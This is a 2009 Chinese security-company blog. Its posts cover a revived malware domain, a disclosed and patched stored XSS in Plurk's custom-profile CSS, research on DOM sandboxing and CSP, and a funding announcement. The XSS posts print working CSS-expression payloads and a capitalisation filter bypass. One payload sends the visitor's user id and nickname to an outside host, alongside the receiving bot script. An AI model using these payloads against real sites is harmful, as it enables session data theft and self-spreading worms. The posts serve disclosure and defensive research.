阿碼外傳-阿碼科技非官方中文 Blog

2009/7/6

3b3.org在 0 Day 的大復活日記

3b3.org是啥!可以問問 google 大神,這是今年初惡意網頁掛碼所使用的惡意網域,最近復活了。透過 DirectShow MPEG2TuneRequest Stack Overflow 的 0 Day 大復活了...

一般惡意網域在惡意利用後,大多會丟棄不用,會再利用新的惡意網域,但 3b3.org 並沒有,在沉潛一段時日之後復活了。很重要的原因是:有太多網站被置入此惡意連結後,一直沒有移除。換句話說,很多網頁還留有舊的攻擊連結。

先前兩篇文章,你看了嗎?
網站多久沒健檢,是不是該關心一下了
深思網站淪陷背後的意義

先看看 3b3.org/c.js 在做啥...





再看看 HackAlert 發現的一個掛碼網址:


詳細追下去:




是不是發現都是一樣的攻擊碼了。這是 Microsoft DirectShow MPEG2TuneRequest Stack Overflow Exploit,這可是 0 day 的漏洞,可以參考鬼仔's Blog:
Microsoft DirectShow MPEG2TuneRequest Stack Overflow Exploit
DirectShow 0DAY第二波警告

繼續閱讀全文...

2009/6/29

誰在看我的噗?第二回:IE執行模式 vs 跨網站腳本漏洞(XSS)


Web、HTML、CSS、各家瀏覽器,都在持續演進著,以資安的觀點來看,演進的過程中包含了許多為了修補當初不安全設計而做得努力。IE,現在已經到IE 8了。

本文續「誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)」。

許多朋友透過email/msn/plurk問我,這個攻擊為何說IE<=7才能觸發?其實這個問題不是三言兩語解釋得清楚,所以我只在文中寫IE<=7,不想讓已經很長的一篇變得更長,但沒想到大家都很厲害,這個問題大家都還是問了。那我們就來談談,為何此攻擊IE<=7才能work吧!

其實我只確定IE 7可以work,IE 8不行,IE 1-6,我沒裝,沒測過。可是為何我沒說IE 8可以,而又為何有朋友認為應該可以?認為可以的朋友們最大的「證據」之一,就是Plurk個人首頁的HTML中有一行:

<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />

由於CSS、HTML的規格不斷演進,各家瀏覽器也一直在變,一個網頁如何被解譯,跟瀏覽器決定用何種模式來解譯有很大的關係。HTML 5規格中即定義了三個模式:no quirks mode(標準模式,standard mode)、quirks mode(相容模式)、以及limited quirks mode(限制相容模式 / 近標準模式,almost standards mode)。不同模式影響了瀏覽器如何解析(parse)以及展現一份HTML文件;就資安的角度而言,不同模式的影響甚大,例如文件中對於script的處理,就會因不同模式而有差異。

就瀏覽器來說,不同模式間行為差距最大的,應該算是IE,又以IE 7到IE 8為明顯。IE 8一共支援了四種模式:IE 8 standard(標準)模式、IE 8 almost standards(近標準)模式、IE 7 standard(標準)模式、IE 5.5 quirks(相容)模式。「誰在看我的噗?」中所用的攻擊點:

body {background-image: expression(alert("XSS"));}

即是自從IE 8 beta 2之後,已經自IE 8標準模式中移除了;意思就是,如果是在IE 8標準模式下,此攻擊點無效,expression並不會被執行。那麼IE 8如何決定何時用哪種模式來執行呢?答案是根據許多條件,其中包含了HTTP檔頭、doctype、meta X-UA-Compatible、微軟的網站黑名單、以即使用者的設定等。那滲透測試的過程中,如何得知IE選擇哪種模式來處理一個網頁呢?最簡單的方式,是安裝IE Developer Toolbar。這個跟firebug互別苗頭的工具,一直是滲透測試時的好幫手。IE Developer Toolbar可以顯示出IE使用哪種模式來解譯目前的網頁。以Plurk為例,我的Toolbar顯示如下:

為何Plurk是在IE 8標準模式執行呢?我們看一下程式碼:

Server: nginx/0.6.32
Date: Sun, 28 Jun 2009 18:49:38 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Expires: Sun, 28 Jun 2009 18:49:37 GMT
Cache-Control: no-cache
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 36704

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<script type="text/javascript">
if(window != top && window.location.toString().indexOf("/_comet/") == -1) {
//Inside an iframe
top.location.href = location.href;
}
</script>

<title>
armorize_wayne
</title>
<meta http-equiv="Content-Type" content="application/xhtml+xml; charset=UTF-8" />
<meta name="verify-v1" content="iBRwaQ/3d4NoF1uaa2SAfCJ962ORry1TE8/4XxtIbHk=" />
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />

恩,既然有定義doctype,也有用meta定義了X-UA-Compatible為「IE=EmulateIE7」,那應該要迫使IE 8在「IE 7標準模式」下解譯Plurk,為何toolbar還是顯示「IE 8標準模式」,而且攻擊也確實無法執行?始作俑者就是meta前面的javascript。如果沒有這段javascript的話,那IE 8就會轉換至「IE 7標準模式」下執行,而上述攻擊就仍然有效。當場try看看好了。利用fiddler,然後用IE 8開plurk,用羔羊帳號(goat_victim)登入,然後瀏覽我的Plurk頁面,可以看出瀏覽器發出以下的http request,其中並沒有對553lab.org發出request,表示攻擊並未成功:

這時我們利用「bpu http://www.plurk.com/armorize_wayne」設好中斷點(breakpoint,見上圖底黑底緑字處),然後IE 8按F5重新載入,中斷點停下來後,選擇「Break on Response」,然後等到獲得plurk伺服器回應的http response時,中斷點又再度停下來,這時我們手動改此HTML,將javascript移到「X-UA-Compatible」這行之後,並選擇「Run to Completion」:

下圖為執行後的畫面,我們看到IE 8發了一個request給http://553lab.org,表示我們的XSS(跨網站腳本漏洞)成功了,javascript被執行了:

回到IE 8,可以看到我的Plurk頁面上,機器人已經自動對來訪者(goat_victim)打招呼了:

那麼IE 8決定解譯模式的流程為何?以下流程圖來自:http://hsivonen.iki.fi/doctype/ie8-mode.png

圖中紅色部分為這次我的IE 8決定採用「IE 8標準模式」的流程圖。IE 8的決定,除了噗浪網站的HTTP檔頭與HTML內容外,我本身的IE 8 相容性設定也有影響。我的相容性設定為預設值(Tools->Compatibility View Settings):

其中的決定包含:
1. 是否有X-UA-Compatible meta標籤:事實:有,但是前面已經先有javascript。
2. HTTP檔頭中是否有設X-UA-Compatible?事實:沒有
3. 我的IE 8相容性設定是否有勾選「display all websites」?事實:沒有
4. ...

有可能這是Plurk刻意的設計,讓IE 8在「IE 8標準模式」中執行,但也有可能是Plurk本意是要藉由設定X-UA-Compatible來讓IE 8切換至「IE 7標準模式」,可是後來在前面加了一段javascript,誤讓模式跳回了「IE 8標準模式」,也同時讓我們的攻擊失效了。

無論如何,Plurk讓IE 8在「IE 8標準模式」中執行,導致我們前一篇中所提之攻擊點失效,也是為何前一篇中,我沒有說攻擊能在IE 8上執行之原因。至於有朋友問,明明CSS中的expression,有用IE 8測過,確定可以work,為何說不行?答案是這要看你的頁面讓你的IE 8呈現何種模式?如果在HTML內或HTTP檔頭中都沒有設定X-UA-Compatible,也沒有特別設定doctype的話,那就很有可能跑到相容模式去,而導致CSS expression攻擊成功了。

瀏覽器的解譯模式會直接影響javascript執行方式,進而影響資安結構;不但doctype、meta tag以及HTTP檔頭,甚至連javascript擺的位子之些微差距,都有可能影響一個網頁之安全性。您清楚您網站於IE各版本上的解譯模式嗎?

作者Wayne為阿碼科技一員
p.s.順便簡短一併回一些問題:
Q:這個漏洞可以用來寫蠕蟲嗎?答:可以
Q:噗浪修補好了嗎?答:「這個漏洞」修補好了,但是即使同一個手法,也可以有很多種變形,是否都阻擋了?我沒測
Q:之前提的csrf蠕蟲能公開嗎?答:噗浪還沒修好,所以還不能公開


繼續閱讀全文...

2009/6/27

誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)


上星期天下午,下大雨,沒法出去,隨手開了Plurk,想到了Plurk之前公開的「XSS挑戰」,只要找到漏洞,證明並回報的噗友,就有Plurk hacker勳章可以拿,之前我也很快地寫了一隻蠕蟲demo並回報。(不用懷疑,當然沒有真的拿來使用)

開了瀏覽器,沒有用什麼工具,就徒手在瀏覽器上玩來玩去,結果一下子,找到一個預存式XSS(stored cross-site scripting,因先儲存至預存式的資源譬如資料庫後再於取出時造成攻擊,又稱預存式XSS),寫了一小段poc程式,確定可以偷cookie,然後又寫了一個蠕蟲的 poc 程式。原本想立刻把poc程式寄給Plurk回報,但又覺得這些東西沒什麼新意,這樣回報很無聊。可是那寫什麼demo來回報呢?

這時突然想到以前的irc機器人,好吧,那就寫一個跟irc一樣的自動打招呼機器人好了,順便回味一下irc的年代。直接在瀏覽器上寫完,還真的可以用,只要在有登入噗浪的狀態下,用IE(<=7)來訪問我的Plurk頁面,機器人都會自動跟您打個招呼(不會偷cookie)。寫完把範例程式寄給Plurk,真快,不到一小時就收到回信,不到一天就改好了,這種速度比起其他網站,真是夠快了。問了他們可否寫篇blog,Plurk說沒問題,反正都修好了,嗯,謝謝,真是很nice!

整個測試的過程中,我一直想到「以 DOM 為基礎之沙盒(DOM-based sandboxing)」之概念。XSS(cross-site scripting,跨網站腳本漏洞)根本不應該這麼難預防的;問題主要出在當初W3C與瀏覽器團隊在定義各種規格時,真的太少考慮到資安的需求了。也或許是這樣,才造就了Web與Web 2.0這麼快速的成長吧(限制很少,很好學,很好寫)!以這次回報的XSS來說,DOM-based sandboxing(DBS)是最直覺的解決方式;我們先看看這個漏洞。

[XSS弱點範例]

噗浪很令人喜愛的功能之一,是可以自己寫(或上傳)CSS,讓每一個人可以有自己的噗浪頁面。在「Profile」旁邊有一個「edit」,按下去並選擇「Customize profile」,就可以自己填入CSS。上次我回報蠕蟲漏洞,主要是那時幫朋友改code,接觸到Plurk API,而注意到漏洞。當時並沒有仔細玩噗浪的介面。這時一玩,wow,可以自己寫CSS,那麼這個功能很有可能出現漏洞。CSS 裡頭的XSS攻擊點,可以參考RSnakeXSS Cheat Sheet;以IE(<=7)為例,主要可說有兩種:

1. CSS 內可造成 javascript 執行,範例如:

body {background-image: url("javascript:alert('XSS')");}

2. CSS 內利用expression 造成 javascript 執行,範例如

body {background-image: expression(alert("XSS"));}

(範例一)

我們來分析一下要如何做攻擊測試。Html中有很多方式可以設定 css;可以是後端程式產生,寫死在 HTML 裡,可以是前端 javascript 以document.write()方式動態產生,也可以是前端javascript以動態建構出新的 DOM 元素(element)來產生。看一下Plurk的源碼,可以發現產生方式如下:

B = document.createElement("link");
B.setAttribute("rel", "stylesheet");
B.setAttribute("type", "text/css");
document.getElementsByTagName("head")[0].appendChild(B);
(程式一)

根據RSnakeXSS Cheat Sheet,(範例一)中的攻擊點(1),只對IE6有效,那我們先選攻擊點(2)「expression」來試看看好了,在介面中填入:

body {background-image: expression(alert("XSS"));}
(程式二)

(暗:(1)真的只對IE6有效嗎? ;) )

按下「Save and update」,果然有過濾,CSS中不能有「expression」,也不能有「javascript」或「@import」等關鍵字。

嗯嗯,大概是用正規表示式過濾的吧!那把「expression」改成「Expression」呢?Umm...結果就通過了...原來過濾時沒有考慮到大小寫問題;這麼簡單一點小疏失,就會造成了一個預存式XSS,不但可以偷餅乾,更適合寫蠕蟲;事實上,三年前的MySpace(Samy)蠕蟲與不久前的Twitter(Mikeyy)蠕蟲(這裡這裡這裡),都是利用了使用者profile中的預存式XSS,只要訪問了受感染使用者的頁面,就會被感染。以MySpace為例,當時以上(1)與(2)兩個攻擊點都存在,而Samy蠕蟲也同時運用了這兩個攻擊點。

接下來就用css的Expression寫一下XSS的程式吧:

body {background-color: Expression( if ( (typeof doneonce == 'undefined') ) { void( doneonce = {testit: function () {dddd = new Image(16,16);dddd.src = "http://553lab.org/plurk/hello.php?x=[" + GLOBAL.session_user.uid + "][" + GLOBAL.session_user.nick_name+"]";}} ) + doneonce.testit() } );}
(程式三)

上面這個程式中,我們用夾帶在body中的Expression寫javascript,動態產生一個image,其url為:http://553lab.org/plurk/hello.php?x=[user_id][nick_name]。程式會使IE發一個GET到我們的hello bot(hello.php),並夾帶兩個參數,分別取自Plurk的javascript程式中的變數:GLOBAL.session_user.uid為目前使用者的id,而GLOBAL.session_user.nick_name為目前使用者的nick。為何不用hello.php?x=user_id&y=nick這樣的格式?因為Plurk會將「&」htmlencode成&amp;,所以乾脆改成只用一個參數「x」,資料則用[]來隔開。

後端hello.php程式如下:

<html><head><title>Plurk XSS demo by Armorize</title></head>
<body><b>XSS hello bot by wayne[_at_]armorize.com<br>Only works in IE<br></b>
<?
// Uses RLPlurkAPI by Ryan Lim <plurk-api@ryanlim.com>
require 'RLPlurkAPI.php';

//ini_set('display_errors','1');
//error_reporting (E_ALL);

$dovalidation_1 = true; $dovalidation_2 = true;
$publicplurk = true; // plurk disallows private plurks to none-friends

$cip = $_SERVER['REMOTE_ADDR'];

preg_match_all("/\\[([^\\]]*)\\]/", $_GET["x"], $results);

$g_id = $results[1][0]; $g_nick = $results[1][1];

$nick_name = $results[1][2];

if ($nick_name=="") $nick_name = "armorize_wayne";

$logf1 = "log/visited.txt"; $logf2 = "log2/visited.txt";

if ($dovalidation_1) if (!ereg("^[a-zA-Z0-9_]*$", $g_nick) || !is_numeric($g_id) || ((int)$g_id)<0 || !preg_match("/^http[s]*:\/\/www.plurk.com\//", $HTTP_REFERER)) $errorlog= "bad format or referer";

if (!$errorlog && $dovalidation_2) validate_user_then_log($g_id, $g_nick, $cip, $errorlog, $logf1, $logf2, $nick_name);

if (!$errorlog && get_my_password($nick_name, $password)) {
$plurk = new RLPlurkAPI();
$plurk->login($nick_name, $password);
$rand_msg = array("welcome, ", "greetings, ", "hello, ", "hi, ", "how's it going, ", "thanks for coming, ", "good day, ", "have fun, ", "enjoy, ", "have a nice day, ", "g'day, ", "thanks for stopping by, ", "have a good time, ");
$rand_num = rand(0, count($rand_msg)-1);

$msg = $rand_msg[$rand_num]."@".$g_nick."!";
if ($publicplurk)
$plurk->addPlurk('en', 'says', $msg);
else
$plurk->addPlurk('en', 'says', $msg, true, array($g_id));
echo "msg: ".$msg."<br>";
}

function validate_user_then_log($id, $nick, $ip, &$errorlog, $filename, $filename2, $visitedwho) {
$visitors = array();
$visitors = read_file($filename, 50000);
$visitors_set = array();
$ip_set = array();
foreach ($visitors as $value) {
preg_match_all("/\\[([^\\]]*)\\]/", $value, $results);
if (!array_key_exists($results[1][3], $visitors_set)) $visitors_set[$results[1][3]] = $results[1][4];
if (!array_key_exists($results[1][5], $ip_set)) $ip_set[$results[1][5]] = $results[1][4];
}

if (!$error_log) {
if (array_key_exists($id, $visitors_set)) {
$last_time = strtotime($visitors_set[$id]);
if ((time()-$last_time)<3600) {$errorlog="same id";}
}
if (array_key_exists($ip, $ip_set)) {
$last_time = strtotime($ip_set[$ip]);
if ((time()-$last_time)<3600) {$errorlog="same ip";}
}
}
// id to nick doesn't require loggin in, so I don't want to use RLPlurkAPI for this. Just make a quick call myself
$json = new Services_JSON();
$value = $json->decode(file_get_contents("http://www.plurk.com/Users/fetchUserInfo?user_id=".$id));

if ($value->nick_name!=$nick) $errorlog="id nick mismatch";

$fh = fopen($filename, 'a');
$logstr= "[".$value->full_name."] [".$value->nick_name."] [".$value->display_name."] [".$id."] [".date("Y-m-d H:i:s")."]\n";
fwrite($fh, $logstr);
fclose($fh);
$fh = fopen($filename2, 'a');
$logstr = "User ".$value->full_name." (".$value->nick_name.") or (".$value->display_name.") visited user: ".$visitedwho." on ".date("Y-m-d H:i:s").", ".$errorlog."\n";
fwrite($fh, $logstr);
fclose($fh);
}

//below from php.net examples page
function read_file($file, $lines)
{
$handle = fopen($file, "r");
$linecounter = $lines;
$pos = -2;
$beginning = false;
$text = array();
while ($linecounter > 0) {
$t = " ";
while ($t != "\n") {
if(fseek($handle, $pos, SEEK_END) == -1) {
$beginning = true;
break;
}
$t = fgetc($handle);
$pos --;
}
$linecounter --;
if($beginning) rewind($handle);
$text[$lines-$linecounter-1] = fgets($handle);
if($beginning) break;
}
fclose ($handle);
return $text;
}

function get_my_password($nick, &$pass) {
$accounts = parse_ini_file("log/accounts.ini");
if (array_key_exists($nick, $accounts)) {
$pass = $accounts[$nick]; return true;
} else return false;
}

?></body></html>
(程式四)

主要程式為29行至41行,基本上就是利用Plurk API發一個噗,跟訪問者打招呼。其他程式主要是防止機器人被濫用。因為這個機器人是以我的名義噗,如果只是照著「http://553lab.org/plurk/hello.php?x=[user_id][nick_name]」來發:Welcome, nick_name,那麼別人直接hello.php?x=[][I'm an idiot],發出來的噗就很好玩了。另外寫個script每一分鐘load一次hello.php,我就要一分鐘噗一次了。validate_user_then_log()含式主要就做這件事,機器人檢查:

1. referer要是www.plurk.com (22行,當然只能防君子)
2. id要跟nick對應,這是為何當出id與nick兩個參數都要傳給hello.php的原因 (65-67行)
3. 同一個id來訪,每一個小時只噗一次 (55-58行)
4. 同一個IP來訪,每一個小時只噗一次 (59-63行)

這樣除非真的有人閒到註冊一個Plurk帳號,取一個nick代表他想讓機器人噗的訊息,例如帳號是「I_am_an_idiot」,那麼機器人就會噗:「Hello, @I_am_an_idiot!」。不會有人那麼有閒吧?結果就真的發生了 XDDDDDD

程式很快寫好了,自己玩了一下,確定可以work。發現我的PHP已經生鏽了,但是還是立刻email給Plurk。過了一天,Plurk修正了。是不是真的修對了?還沒時間仔細看,不過至少以上攻擊不會成功了。就這樣機器人就擺著沒動,我也忙別的去了。

星期六晚上,看到朋友留的msn,說我的plurk一直跟「XSS」打招呼,趕快上去看了一下:

咦,我的噗浪頁面人氣幾乎都是零,怎麼這個XSS對我那麼有興趣?忙完事情又過了幾個小時,回來一看,XSS註冊了一個I_know_Armorize_sucks,嗯嗯,好好...看一下XSS這個帳號,沒朋友,看不出是誰,這麼神秘,怎麼查呢...

其實不用啦,圈子就這麼點大,跟我一樣無聊,週末不出去玩掛在網路上,半夜不睡覺來我的噗浪,然後還很有閒註冊這樣的噗浪帳號...ao大與px大,你們好啊,歡迎大駕光臨~~ 不要把我的bot玩壞了 :)

[以DOM為基礎之沙盒]

當初測試完這個預存式XSS,腦袋就停不下來一直想DOM sandboxing,以及今年Robert Morris帶學生做的一篇論文:「Privacy-Preserving Browser-Side Scripting With BFlow」(Paper投影片),今年四月發表於EuroSys'09(德國)。Robert Morris(rtm)的父親Robbert "Bob" Morris是美國國家安全局「國家電腦安全中心」之首席科學家。rtm於Cornell讀研究所時,釋放了Morris蠕蟲(Morris worm),為最早的蠕蟲之一,造成Internet癱瘓,他父親差點因此而丟了工作,當然rtm本身也被起訴,最後罰了一些錢以及社會服務。有趣的是,當時rtm是由MIT(麻省理工學院)而非自己就讀的Cornell網路來釋放蠕蟲,試圖混淆追中,而他目前則是MIT的教授,此篇論文是他帶學生在MIT做的。

從(程式二)中我們可以看到,Plurk是利用javascript動態地產生一個「link」元件,然後將role利用「rel」指定成「stylesheet」,將mime-type利用「type」設定成「text/css」,最後將css來源用「href」設定好,使用者的個人css就這樣被動態載入了。用javascript動態產生DOM元素的方法很多,譬如很多人喜歡用最簡單的doument.write()方式,但是用document.write(),就像是把字串連起來組成一個SQL指令一樣,沒有參數化的概念,即使有過濾,仍有風險。以資安的角度來看,Plurk的方式則含有參數化的概念,為較佳的建構方式。

可是我們仔細想想,Plurk用javascript建構此「link」元件時,就已經可以確定該元件不可以在css中接受expression或執行javascript。如果W3C的HTML Working GroupWHATWG讓HTML規格有支援(或瀏覽器開發團隊直接讓瀏覽器有支援)DOM sandboxing,那麼就可以很容易降低XSS的風險了。譬如我們可以簡單想像一下:

1. 每一個DOM元素都有一個attribute叫做「sandbox」,裡頭可以設多重限制,利用空白隔開,例如:

<link sandbox="disable_javascript" rel="..."...>

表示這個「link」元素不可以執行javascript,或甚至:

<script sandbox="disable_cookie_access">
... javascript code...
</script>

表示這段javascript不准許存取cookies。

2. 「sandbox」attribute,可以被javascript設定,但是每次設定只能增加限制,而不能放寬限制。

3. 子元素直接繼承母元素之「sandbox」attribute,並根據(2),只能增加限制而不能檢少限制。

以上是我很快「想像一下」來的DOM sandboxing,不過大概就是這種概念。如果有這種支援,那麼Plurk可以將程式改成:

B = document.createElement("link");
B.setAttribute("sandbox", "disable_javascript");
B.setAttribute("rel", "stylesheet");
B.setAttribute("type", "text/css");
B.setAttribute("href", User_Supplied_Data);
document.getElementsByTagName("head")[0].appendChild(B);
(程式五)

這樣子的話,即使後端程式沒有過濾好,瀏覽器也將提供某種程度的XSS防禦。

DOM sandboxing一直有被提出,但是記憶中開始比較多人講,應該是2007年。學界中做Web研究,最好的會議之一是WWW,為ACM與W3C合辦,每年5月舉行(我們於'03與'04投上過兩次,兩次都被提名當年最佳論文)。WWW 2007有一篇令我印象深刻,馬大與AT&T合作的:「Defeating Script Injection Attacks with Browser Enforced Embedded Policies」,或稱BEEP(計畫網頁paper投影片)。BEEP提出了一個javascript hook的概念,利用javascript hook來檢查合法與非法的javascript,並決定何者可以執行。此模型並不漂亮,用javascript hook來描述表達一個網頁的安全模型,太過繁瑣,等於把很多工作加諸於Web程式設計師,這樣不但難用,風險也大。另外,此作法必須修改瀏覽器。雖然有這些缺點,BEEP卻是很早就提出DOM sandboxing概念,故有其參考性。

2007年我記得的另一篇,是Benjamin Livshits於2007年6月PLAS'07發表的「Using Web Application Construction Frameworks to Protect Against Code Injection Attacks」。Livshits是Stanford大學Monica Lam的博士班學生,拿到博士後加入微軟研究院。預存式提出的DOM sandboxing概念,在實做上可以利用修改既有的前端ajax framework來達成,而不需要修改瀏覽器;在實做上,Livshits是修改了dojo toolkit來示範。Livshits提的原理很簡單,延續javascript的相同來源政策(same origin policy),對於每一個DOM元素多定義一個attribute:「pricipal」,只有相同principal的元素才能彼此存取。這樣的sandboxing很好用,譬如可以定義網頁的廣告區不能存取其他區域以及cookie,但是缺點是描述表達能力有限。

以上這兩篇發表日期很接近,也都是很好的會議,算是2007年這方面研究的代表。兩篇都有引述我們於WWW 2004發表的源碼檢測技術WebSSARI,Livshits提到用源碼檢測來找出Web應用程式漏洞時,引述WebSSARI說:「The WebSSARI project pioneered this line of research(WebSSARI計畫開創出了這一系列的研究)」。最近很多競爭對手抹黑我們是:「不知哪裡冒出來的一群hackers」。對,我們是hackers沒錯,但是我們不是出師無門的hackers :)

另外2007年時當然不是只有學界在談 DOM sandboxing。其實2007年5月時,WHATWG的list上就已經蠻多關於DOM sandboxing的討論,RSnake就於也在8月時於其blog上寫了一篇:「Content Restrictions - A Call For Input」,徵求大家對於DOM sandboxing的意見,也引來廣泛的討論。

經過了兩年,回頭來看今年Robert Morris的「Privacy-Preserving Browser-Side Scripting With BFlow」(Paper投影片),可以發現這方面研究進步了不少。BFlow的安全模型,是由瀏覽器動態地控管資料的流動,來避免資料被不當的取得。現在很多網頁都允許widget,這個模型就很適合,以下我們以Blogger為例。阿碼的blog就是放在Blogger上。Blogger允許在頁面上加入來自其他網站的widget,而BFlow的模型就可以限制這些widget對於資料的存取。例如以下,BFlow動態追蹤不同DOM元素間資料的存取與交換,如果一個外部widget沒有存取到被定義為機密的資料,那麼允許往外部網站發request(例如img),反之,則限制所有發出的request只能發給機密資料所屬的網站。


BFlow是由後端的網站程式對於每一份資料加註一個tag來定義其安全限制。如果兩個擁有不同tag的資料在client端被結合在一起呢?BFlow與WebSSARI一樣,採用1976年由Denning-Denning定義的lattice model,來決定結合後的新安全限制。

從剛才談到現在,我們自己提出了(程式五),也談了Livshits、BEEP以及Morris的解法。有趣的是,這四種解法,主旨都不在「過濾」或「偵測」惡意的字串,而在「限制」非法程式能執行的範圍。在以上四個例子中,惡意字串都還是會被插入合法程式中,或甚至被當成javascript執行,只是其範圍被限制住了,不能達成最終的目的,例如偷竊機密資料等行為。例如在(程式五)中,我們並沒有去判斷User_Supplied_Data所帶來的字串,是否含有惡意攻擊內容,我們只是利用程式模型配合參數化概念,限制了該DOM元素執行javascript之能力。(程式五)的解法看似漂亮,但是如果程式設計師的寫法是利用document.write()這種不帶任何參數化的概念來動態產生DOM元素,那麼又可以如何在client端避免XSS呢?今年2月的NDSS會議有兩個有趣的研究:Yacin提出的Document Structure Integrity: A Robust Basis for Cross-site Scripting Defense以及Gundy提出的「Noncespaces: Using Randomization to Enforce Information Flow Tracking and Thwart XSS Attacks」。Yacin提出的DSI(document structure integrity)其主要的概念是,先由後端伺服器程式決定DOM的合法動態與靜態結構,那麼在client端執行時,如果發現DOM結構不符合定義,就可以假設DOM結構被惡意破壞或惡意竄改了(ex: document.write()中含有tag <script>),而禁止執行。Gundy提出的Nonspaces,其實基本概念差不多,只是實做上不同,randomization的方式也不同--Nonspaces用xml namespaces,而DSI用randomized delimeters。

都是有創意的解法,而且一個會議竟然兩篇這麼相似,表示大家想法其實都差不多。看來蠻猛的嗎?概念不錯,但是很快都被破解了。上個月的Web 2.0 Security AND Privacy(W2SP)2009會議上,來自希臘的Athanasopoulos團隊發表了一篇:「Code Injection Attacks in Browsers Supporting Policies」,對上述的DSI、Noncespaces,連帶BEEP,都提出了具體破解的方法。Anthanasopoulos認為DOM沙盒之不可行,在於目前一個大型的網站中,DOM元素過多,要一一定義,並不容易,在執行面也有困難。他們提出的方法是將動態所產生的javascript做區隔,並限制其行為。該團隊目前正著手將其概念實做於firefox瀏覽器上。

討論了這麼多DOM沙盒與瀏覽器上之XSS預防,如果沒有講到最近Brendan Eich(Mozilla CTO)的演講,那就太可惜了。上個月的W2SP會議是由Eich開場的,題目是:「Improving JavaScript's Default Security Model Without Breaking the Web」(講義)。除了列出目前javascript安全的挑戰外,Brendan也概述了目前Mozilla對於這方面的努力--包含動態tainting方面的研究(困難點之一為如何讓保持interpreter的速度)。Brendan也提及了Mozilla在這方面的一個新計畫:FlowSafe,為Mozilla與Cormac Flanagan以及Michael Franz合作的計畫。咦?Flanagan?沒錯。Flanagan算是學界在靜態分析、源碼檢測與tainting分析上有名前輩(Java靜態分析工具ESC/Java就是他做的),這個計畫應該能有很實際的影響力。雖然Brendan在演講中並沒有特別提,但是會議後不久,他的同事Brandon Sterne,也就是Mozilla的Security Program Manager,寫了一篇blog「Shutting Down XSS with Content Security Policy」,介紹Mozilla的CSP計畫。

CSP採白名單方式,可以讓網站定義出合法的javascript有哪些,沒有在定義內的則視為非法。CSP在使用時,要求一個網頁所有的javascript都來自外部(<script src="">),而不可內嵌。由於所有javascript都來自外部,網站管理者就可以定義合法的來源,而瀏覽器會將其他來源視為非法。雖然這種要求與目前大部分人寫javascript的習慣大易其趣,但不論從FlowSafe或CSP中,都可以看出Mozilla在對付XSS上的努力。

縱深防禦(layered security)」是一個有用的概念,資源許可下的多層防禦絕對有其投資報酬。談了這麼多client端對付XSS的方法,都只是補強程式設計者本身犯的錯誤。能在伺服器端就修掉的XSS漏洞,或能夠在程式中就直接避免的,應儘量先修掉。Client端的種種防禦技術,可以用來補強,或者在無法直接從後端修補的情況下採用。在我們許多大型網站的導入經驗中,漏洞的修復往往是整個專案中最複雜的部分之一。已經運行多時的既有系統,在找出漏洞後,往往面臨種種因素,而無法直接、直覺或用標準方式來修復。Web資安之難,在於攻擊變化之多;漏洞修補之美,亦於方法選擇之多。如何能夠最有效率並以最低成本幫對方把漏洞修復,不斷考驗著資安團隊的經驗與知識。

作者Wayne為阿碼科技一員
下一篇:誰在看我的噗?第二回:IE執行模式 vs 跨網站腳本漏洞(XSS)
繼續閱讀全文...

2009/6/18

[No Tech] Skype創辦團隊投資阿碼科技


今天阿碼的新聞在twitter上滿天飛--Skype創辦團隊投資阿碼,阿碼完成了第二次增資。最感謝的還是這麼多我們的客戶。你們的支持,給了我們無比的動力與信心;你們的建議,讓我們能不斷改進我們的產品與服務;你們每天使用我們的產品,讓我們感覺有用不完的精力,不斷改良、創新、往前衝;你們對我們的質疑,讓我們更了解自己的不足;與你們不斷互動的程,就是我們成長的心路。這次增資,好多人願意出來跟創投談你們的使用經驗,為我們背書。謝謝你們!我們會不斷地提升我們產品與服務的品質,來回報各位!

這次增資主要是為了加速拓展阿碼的國際業務,參與的投資人有阿碼既有投資人(美國為主)、Skype創辦團隊創投 Ambient Sound Investments(歐)、還有Birch Venture Capital(台灣)。下個月我們就將有來自歐洲非常資深的同事遷居台灣並加入我們,我們並將持續找尋技術與業務人才。

阿碼新聞稿:Armorize Technologies Secures Up-Round Series-B Financing
Skype創辦技術團隊之創投公司ASI新聞稿:Armorize Technologies Secures Financing For Worldwide Business Development
TechCrunch(全球最受歡迎科技部落格)報導:Armorize Lands More Funding For Web App Security Technology
更多新聞:路透社Yahoo Finance道瓊USA TodayTech Startups

[創業過的投資人]

Skype在wikipedia上的定義中說:「Skype是由愛沙尼亞的工程師Ahti HeinlaPriit KasesaluJaan Tallinn所寫的」("Skype was written by Estonia-based developers Ahti Heinla, Priit Kasesalu and Jaan Tallinn")。其實這三位的的leader,是Toivo Annus,也是愛沙尼亞人。這四位以當初eBay併購Skype時他們所賺的錢,成立了Ambient Sound Investments,為創投公司,專門投資以技術為核心的新創公司。目前除了Toivo離開Skype外,其他三位仍在Skype擔任重要工作。

對於阿碼來說,ASI是難得的好投資人,因為ASI是由軟體創業家所成立的創投公司,帶給阿碼的,絕不僅是資金上的幫助而已。就如我們董事長Jim Sha,也是軟體界的創業前輩,一路走來我們跟他學到太多了。認識ASI,是資策會中負責「Connect Taiwan」與「Bridge Program」的Camilliam Lin一手促成的,在這邊我們非常感謝資策會許許多多幫助過我們的長官;不論是技服中心各位長官在資安技術與管理面的各種指導,或是產支處在產業面的協助推動,或我們辦公室所在的--資策會創研所的南軟育成中心--所辦的種種活動,阿碼都受益良多,謝謝你們!同時也謝謝AirDio(ASI投資的第一個台灣公司)的CEO Wen所給的各種幫忙。

